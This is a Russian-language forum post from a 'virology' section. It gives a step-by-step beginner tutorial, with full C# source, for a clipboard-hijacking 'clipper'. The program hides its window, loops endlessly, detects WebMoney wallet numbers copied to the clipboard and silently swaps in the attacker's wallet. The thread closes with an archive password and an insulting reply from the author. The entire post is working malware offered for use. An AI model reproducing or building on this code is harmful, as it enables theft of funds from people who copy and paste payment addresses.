Загрузка...

C# Клиппер за 5 минут

Тема в разделе Вирусология создана пользователем Fockstrot 11 май 2018. 767 просмотров

Загрузка...
  1. Fockstrot
    Fockstrot Автор темы 11 май 2018 Заблокирован(а) 1488 14 май 2016
    Тема позаимствована с ирки (не реклама) ,далее выложу в первозданном виде и цитируя автора статьи.


    Создадим проект .Net 2.0 Console Application и придумаем незамысловатое название
    [IMG]


    Дальше заходим в свойства проекта и в "Тип выходных данных:" ставим Приложение Windows
    [IMG]

    Теперь проблем со скрытием окна приложения не будут,переходим к кодингу.

    Создадим статический метод start и добавим его в Main
    Код
           static void Main(string[] args)
    {
    start(); //
    }

    static void start() //
    {

    }
    Создадим цикл while с условием true,чтобы выполнялся бесконечно.
    Код:
    static void start()
    {
    while(true) //
    {

    }
    }
    Создаем метод(не забываем про static) replace и вставим его в цикл while.
    Код
           static void start()
    {
    while(true)
    {
    replace(); //
    }
    }

    static void replace()
    {

    }
    Также сделаем заддержку для работы этого цикла.
    Подключим System.Threading и впишем Thread.Sleep(100); (в миллисекундах)
    Код
           static void start()
    {
    while(true)
    {
    Thread.Sleep(100); //
    replace();
    }
    }
    Переходим уже к самой замене,для примера будет wmr кошелек
    Создадим глобальную статическую переменную string с названием wmr
    Код
    static string my_wmr = "R339005555555";
    Переходим к методу replace
    Подключим System.Windows.Forms для работы с буффером обмена

    [IMG]
    Чтобы не было проблем в дальнейшем нужно добавить такую строчку перед Main
    Код
    [STAThread]
    Код
           [STAThread] //
    static void Main(string[] args)
    {
    start();
    }
    Создадим условие если буффер не имеет данных(текстовых) или равен "", то метод возвращается(return);
    Код
           static void replace()
    {
    if (Clipboard.GetText() == null || Clipboard.GetText()=="") //
    return;
    }
    Дальше задаем переменную которая будет равна буферу обмена
    Код
    string buffer = Clipboard.GetText();
    Код
           static void replace()
    {
    if (Clipboard.GetText() == null || Clipboard.GetText()=="")
    return;

    string buffer = Clipboard.GetText(); //
    }
    Теперь самое сложное.
    Нужно сделать условие c проверкой буфера на наличие кошелька.
    Создадим статический метод bool с названием checkwmr,с параметром string text и в конце дописываем return false;
    Код
           static bool checkwmr(string text)
    {

    return false;
    }
    Создадим условие если первая буква равна R и количество символов равно 13 то возвращается true
    [CODE] static bool checkwmr(string text)
    {
    if (text[0].ToString() == "R" && text.Length==13) //
    return true;

    return false;
    }[/CODE]Возвращаемся обратно к replace.
    Создаем условие если checkwmr с параметром buffer(буфер обмена) возвращает true и буфер не равен переменной my_wmr(наш кошелек),то происходит замена буфера обмена на переменную my_wmr(наш кошелек)
    [CODE] static void replace()
    {
    if (Clipboard.GetText() == null || Clipboard.GetText()=="")
    return;

    string buffer = Clipboard.GetText(); //

    if (buffer != my_wmr && checkwmr(buffer)) //
    {
    Clipboard.SetText(my_wmr); // Замена
    }
    }[/CODE]


    Тема рассчитана для новичков. Замечания приветствуются.

    пароль: kaidoz
     
    11 май 2018 Изменено
  2. Fockstrot
    Fockstrot Автор темы 12 май 2018 Заблокирован(а) 1488 14 май 2016
    Пошёл бы ты нахер,только создал и ты пост втыкаешь
     
Top